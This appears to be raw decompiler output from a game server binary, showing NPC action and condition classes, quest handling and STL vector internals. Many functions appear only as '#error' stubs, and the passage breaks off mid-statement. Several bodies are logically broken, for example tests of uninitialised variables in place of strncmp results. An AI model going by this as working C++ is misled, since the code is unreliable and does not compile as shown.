(00588AD0) -------------------------------------------------------- #error "588AD0: undefined or illegal type '#734' (funcsize=112)" //----- (00588C60) -------------------------------------------------------- #error "588C60: undefined or illegal type '#734' (funcsize=50)" //----- (00588D50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CQuestZone::PsEnd((CQuestZone *)((char *)v2 + 66176), returnvalue); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Return2Quest"); } //----- (00588DF0) -------------------------------------------------------- #error "588DF0: undefined or illegal type '#734' (funcsize=180)" //----- (00589090) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val) { std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005890C0) -------------------------------------------------------- #error "5890C0: undefined or illegal type '#734' (funcsize=156)" //----- (00589300) -------------------------------------------------------- #error "589300: undefined or illegal type '#734' (funcsize=94)" //----- (00589460) -------------------------------------------------------- #error "589460: undefined or illegal type '#734' (funcsize=134)" //----- (00589630) -------------------------------------------------------- #error "589630: undefined or illegal type '#734' (funcsize=126)" //----- (005897E0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00589850) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *_Val) { std::vector > *v4; // esi@1 PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *v5; // edx@1 PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+30h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *(PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest **)&_Val->nMobID; v31 = &v28; _Val = v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *)((char *)v14 + v30); v4->_Mylast = (PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *)((char *)v14 + 4 * v18); v4->_Myfirst = (PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *)v14; } } } //----- (00589A90) -------------------------------------------------------- #error "589A90: undefined or illegal type '#734' (funcsize=116)" //----- (00589C20) -------------------------------------------------------- #error "589C20: undefined or illegal type '#734' (funcsize=85)" //----- (00589D70) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *_Val) { std::vector > *v2; // esi@1 PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *v3; // edx@1 signed int v4; // ecx@2 PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v2->_Mylast, 1u, (std::list,std::allocator > >::iterator *)_Val, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00589DE0) -------------------------------------------------------- #error "589DE0: undefined or illegal type '#593' (funcsize=209)" //----- (0058A070) -------------------------------------------------------- #error "58A070: undefined or illegal type '#593' (funcsize=6)" //----- (0058A090) -------------------------------------------------------- #error "58A090: undefined or illegal type '#593' (funcsize=7)" //----- (0058A0B0) -------------------------------------------------------- #error "58A0B0: undefined or illegal type '#593' (funcsize=24)" //----- (0058A0F0) -------------------------------------------------------- #error "58A0F0: undefined or illegal type '#593' (funcsize=11)" //----- (0058A110) -------------------------------------------------------- void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID) { NPCAction::SkillAction *v2; // esi@1 SkillDataBox::SkillDataIndex *v3; // eax@1 v2 = this; this->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::SkillAction::_vftable_; v3 = SkillDataBox::operator__(&skilldatabox, skillID); v2->skillIndex_ = v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillAction::SkillAction : Invalid skill index", v3 != 0); ShineExit("SkillAction::SkillAction"); } } // 67D65C: using guessed type int (__thiscall *NPCAction__SkillAction___vftable_)(void *p, char); //----- (0058A190) -------------------------------------------------------- #error "58A190: undefined or illegal type '#593' (funcsize=12)" //----- (0058A1B0) -------------------------------------------------------- #error "58A1B0: undefined or illegal type '#593' (funcsize=32)" //----- (0058A210) -------------------------------------------------------- #error "58A210: undefined or illegal type '#593' (funcsize=44)" //----- (0058A290) -------------------------------------------------------- #error "58A290: undefined or illegal type '#593' (funcsize=144)" //----- (0058A460) -------------------------------------------------------- #error "58A460: undefined or illegal type '#593' (funcsize=186)" //----- (0058A6E0) -------------------------------------------------------- void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::BallAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::BallAction::_BallAction((SlantedCoordList::ObjectYCoordNode *)this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0058A700) -------------------------------------------------------- unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::ActionGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v9 = (NPCAction::ActionGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (0058A750) -------------------------------------------------------- #error "58A750: undefined or illegal type '#593' (funcsize=14)" //----- (0058A780) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content) { NPCAction::NoticeAction *v2; // ST14_4@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->content_; v2->baseclass_0.vfptr = (NPCAction::IActionVtbl *)&NPCAction::NoticeAction::_vftable_; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, content, strlen(content)); } // 67D694: using guessed type int (__thiscall *NPCAction__NoticeAction___vftable_)(void *p, char); //----- (0058A800) -------------------------------------------------------- void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::NoticeAction::_NoticeAction(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0058A820) -------------------------------------------------------- void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this) { NPCAction::NoticeAction *v1; // esi@1 v1 = this; if ( this->content_._Myres >= 0x10 ) operator delete(*(void **)&this->content_._Bx._Buf[0]); v1->content_._Myres = 15; v1->content_._Mysize = 0; v1->content_._Bx._Buf[0] = 0; v1->baseclass_0.vfptr = (NPCAction::IActionVtbl *)NPCAction::IAction::_vftable_; } // 673ACC: using guessed type int (*NPCAction__IAction___vftable_[6])(); //----- (0058A850) -------------------------------------------------------- NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this) { NPCAction::ActionGen_OptionReader *v1; // esi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 void *v5; // edi@3 int v6; // eax@4 unsigned int v7; // eax@5 AbnormalStateDictionary::AbState::AbStateStr *v8; // esi@8 NPCAction::IAction *result; // eax@11 NPCAction::IActionVtbl *v10; // ecx@12 int v11; // eax@13 int v12; // eax@16 char v13; // cl@18 int v14; // eax@19 unsigned int v15; // eax@20 unsigned __int16 v16; // si@20 AbnormalStateDictionary::AbState::AbStateStr *v17; // esi@22 NPCAction::IActionVtbl *v18; // ecx@25 int v19; // eax@26 unsigned int v20; // eax@27 const unsigned __int16 v21; // si@27 void *v22; // eax@29 int v23; // eax@31 void *v24; // eax@32 int v25; // eax@34 int v26; // eax@37 int v27; // eax@40 int v28; // eax@43 ORToken v29; // [sp-18h] [bp-34h]@3 int v30; // [sp-14h] [bp-30h]@3 int v31; // [sp-10h] [bp-2Ch]@3 int v32; // [sp-Ch] [bp-28h]@3 int v33; // [sp-8h] [bp-24h]@3 int v34; // [sp-4h] [bp-20h]@1 void *v35; // [sp+Ch] [bp-10h]@3 int v36; // [sp+18h] [bp-4h]@29 v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::ActionGen_OptionReader::tableName_._Bx._Buf[0]; v34 = v2; if ( NPCAction::ActionGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::ActionGen_OptionReader::tableName_._Bx; v35 = &v29; v33 = 0; v32 = 0; v31 = 0; v30 = 0; *(_DWORD *)&v29.ort_Name[0] = 0; strncpy(v29.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v29, v34); v5 = v4; if ( v4 ) { ++v1->currentRow_; strncmp("Dispell", (char *)v4 + 1, 0x21u); if ( v6 ) { strncmp("Link", (char *)v5 + 1, 0x21u); if ( v11 ) { strncmp("Emotion", (char *)v5 + 1, 0x21u); if ( v12 ) { strncmp("AbState", (char *)v5 + 1, 0x21u); if ( v14 ) { strncmp("Skill", (char *)v5 + 1, 0x21u); if ( v19 ) { strncmp("Notice", (char *)v5 + 1, 0x21u); if ( v23 ) { strncmp("Die", (char *)v5 + 1, 0x21u); if ( v25 ) { strncmp("GTIEffect", (char *)v5 + 1, 0x21u); if ( v26 ) { strncmp("DmgAbsorb", (char *)v5 + 1, 0x21u); if ( v27 ) { strncmp("Ball", (char *)v5 + 1, 0x21u); if ( v28 ) { AssertClass::ac_AssertFail( &shineassert, "ActionGen_OptionReader : Unsupported Action", (const char *)v5 + 1); ShineExit("ActionGen_OptionReader : Unsupported Action"); } result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::BallAction::_vftable_; return result; } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DamageAbsorbAction::_vftable_; return result; } } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::GTItemAction::_vftable_; return result; } } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DieAction::_vftable_; return result; } } } else { v24 = operator new(0x20u); v35 = v24; v36 = 1; if ( v24 ) { NPCAction::NoticeAction::NoticeAction((NPCAction::NoticeAction *)result, (const char *)v5 + 34); return result; } } } else { v20 = BTree::operator__(&skillnametree, (const char *)v5 + 34); v21 = v20; v32 = v20 != -1; if ( AssertClass::operator__(&shineassert, v32, "ActionGen_OptionReader : Invalid Skill", 0) ) ShineExit("ActionGen_OptionReader"); v22 = operator new(8u); v35 = v22; v36 = 0; if ( v22 ) { NPCAction::SkillAction::SkillAction((NPCAction::SkillAction *)result, v21); return result; } } } else { v15 = BTree::operator__(&unk_6BD318, (const char *)v5 + 34); v16 = v15; v32 = v15 != -1; if ( AssertClass::operator__(&shineassert, v32, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); v17 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v16); v32 = v17 != 0; if ( AssertClass::operator__(&shineassert, v32, "ActionGen_OptionReader-Abstate : Invalid ABState", 0) ) ShineExit("ActionGen_OptionReader"); result = (NPCAction::IAction *)operator new(8u); if ( result ) { v18 = (NPCAction::IActionVtbl *)v17->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::AbStateAction::_vftable_; result[1].vfptr = v18; return result; } } } else { result = (NPCAction::IAction *)operator new(8u); if ( result ) { v13 = *((_BYTE *)v5 + 67); result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::EmotionlAction::_vftable_; LOBYTE(result[1].vfptr) = v13; return result; } } } else { result = (NPCAction::IAction *)operator new(4u); if ( result ) { result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::InteractAction::_vftable_; return result; } } } else { v7 = BTree::operator__(&unk_6BD318, (const char *)v5 + 34); if ( v7 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } v8 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v7); if ( v8 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ActionGen_OptionReader-Dispell : Invalid ABState", 0); ShineExit("ActionGen_OptionReader"); } result = (NPCAction::IAction *)operator new(8u); if ( result ) { v10 = (NPCAction::IActionVtbl *)v8->index->AbStataIndex; result->vfptr = (NPCAction::IActionVtbl *)&NPCAction::DispelAction::_vftable_; result[1].vfptr = v10; return result; } } } return 0; } // 67D5F8: using guessed type int (__thiscall *NPCAction__DispelAction___vftable_)(void *p, char); // 67D600: using guessed type int (__thiscall *NPCAction__EmotionlAction___vftable_)(void *p, char); // 67D608: using guessed type int (__thiscall *NPCAction__AbStateAction___vftable_)(void *p, char); // 67D664: using guessed type int (__thiscall *NPCAction__DieAction___vftable_)(void *p, char); // 67D66C: using guessed type int (__thiscall *NPCAction__GTItemAction___vftable_)(void *p, char); // 67D674: using guessed type int (__thiscall *NPCAction__DamageAbsorbAction___vftable_)(void *p, char); // 67D67C: using guessed type int (__thiscall *NPCAction__BallAction___vftable_)(void *p, char); // 67D684: using guessed type int (__thiscall *NPCAction__InteractAction___vftable_)(void *p, char); //----- (0058ACD0) -------------------------------------------------------- void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader) { this->optionReader_ = optionReader; this->currentRow_ = 0; } //----- (0058ACF0) -------------------------------------------------------- #error "58ACF0: undefined or illegal type '#593' (funcsize=54)" //----- (0058AD80) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this) { return this->termLow_ || this->termHigh_; } //----- (0058ADA0) -------------------------------------------------------- #error "58ADA0: undefined or illegal type '#593' (funcsize=52)" //----- (0058AE40) -------------------------------------------------------- #error "58AE40: undefined or illegal type '#593' (funcsize=52)" //----- (0058AED0) -------------------------------------------------------- #error "58AED0: undefined or illegal type '#593' (funcsize=21)" //----- (0058AF10) -------------------------------------------------------- #error "58AF10: undefined or illegal type '#593' (funcsize=52)" //----- (0058AFA0) -------------------------------------------------------- #error "58AFA0: undefined or illegal type '#593' (funcsize=82)" //----- (0058B090) -------------------------------------------------------- #error "58B090: undefined or illegal type '#593' (funcsize=88)" //----- (0058B190) -------------------------------------------------------- #error "58B190: undefined or illegal type '#593' (funcsize=81)" //----- (0058B260) -------------------------------------------------------- void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this) { this->baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; } // 67D7C8: using guessed type int (*NPCAction__ICondition___vftable_[3])(); //----- (0058B270) -------------------------------------------------------- bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this) { NPCAction::NoneCondition *v1; // esi@1 bool v2; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NoneCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NoneCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = !v1->termLow_ && !v1->termHigh_; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NoneCondition::check"); return v2; } // 58B270: inconsistent function type and number of purged bytes //----- (0058B2E0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh) { this->index_ = index; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ABStateCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; } // 67D808: using guessed type int (__thiscall *NPCAction__ABStateCondition___vftable_)(void *p, char); //----- (0058B320) -------------------------------------------------------- bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this) { NPCAction::ABStateCondition *v1; // esi@1 bool v2; // bl@1 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AbStateCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbStateCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(ABSTATEINDEX))(*(_DWORD *)v4 + 1000))(v1->index_) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AbStateCondition::check"); return v2; } // 58B320: inconsistent function type and number of purged bytes //----- (0058B3D0) -------------------------------------------------------- bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this) { NPCAction::LvGapCondition *v1; // esi@1 unsigned __int8 v2; // al@1 const char v3; // cl@1 const char v4; // dl@2 char v5; // bl@3 bool result; // al@5 int v7; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LvGapCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LvGapCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (**)(void))(*(_DWORD *)v7 + 1236))(); v3 = v1->low_; if ( v3 > v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = 0; } else { v4 = v1->high_; if ( v4 >= (unsigned __int8)v3 ) v5 = v4 >= v2; else v5 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LvGapCondition::check"); result = v5; } return result; } // 58B3D0: inconsistent function type and number of purged bytes //----- (0058B4E0) -------------------------------------------------------- bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this) { NPCAction::ClassCondition *v1; // edi@1 bool v2; // bl@1 int v3; // esi@1 int v5; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClassCondition::check"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClassCondition::check"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (*(int (**)(void))(*(_DWORD *)v5 + 1176))(); if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 76))(v3, v1->classID_) || (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 48))(v3) == v1->classID_ ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClassCondition::check"); return v2; } // 58B4E0: inconsistent function type and number of purged bytes //----- (0058B5B0) -------------------------------------------------------- void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh) { this->skillID_ = skillID; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::SkillCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; } // 67D88C: using guessed type int (__thiscall *NPCAction__SkillCondition___vftable_)(void *p, char); //----- (0058B5F0) -------------------------------------------------------- void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh) { this->emoticonID_ = emoticonID; this->termLow_ = (unsigned int)(10 * termLow * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::EmotionCondition::_vftable_; this->termHigh_ = (unsigned int)(10 * termHigh * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; } // 67D8A0: using guessed type int (__thiscall *NPCAction__EmotionCondition___vftable_)(void *p, char); //----- (0058B630) -------------------------------------------------------- unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this) { const char *v1; // edx@1 OptionReader **v2; // esi@1 ORToken v4; // [sp-18h] [bp-1Ch]@3 int v5; // [sp-14h] [bp-18h]@3 int v6; // [sp-10h] [bp-14h]@3 int v7; // [sp-Ch] [bp-10h]@3 int v8; // [sp-8h] [bp-Ch]@3 NPCAction::CondGen_OptionReader *v9; // [sp+0h] [bp-4h]@1 v9 = this; v1 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v2 = (OptionReader **)this; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v1 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v9 = (NPCAction::CondGen_OptionReader *)&v4; v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)&v4.ort_Name[0] = 0; strncpy(v4.ort_Name, v1, 0x14u); return OptionReader::or_SelectCountFrom(*v2, v4); } //----- (0058B680) -------------------------------------------------------- void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this) { NPCAction::DeadCondition *v1; // esi@1 v1 = this; NPCAction::ICondition::ICondition(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = 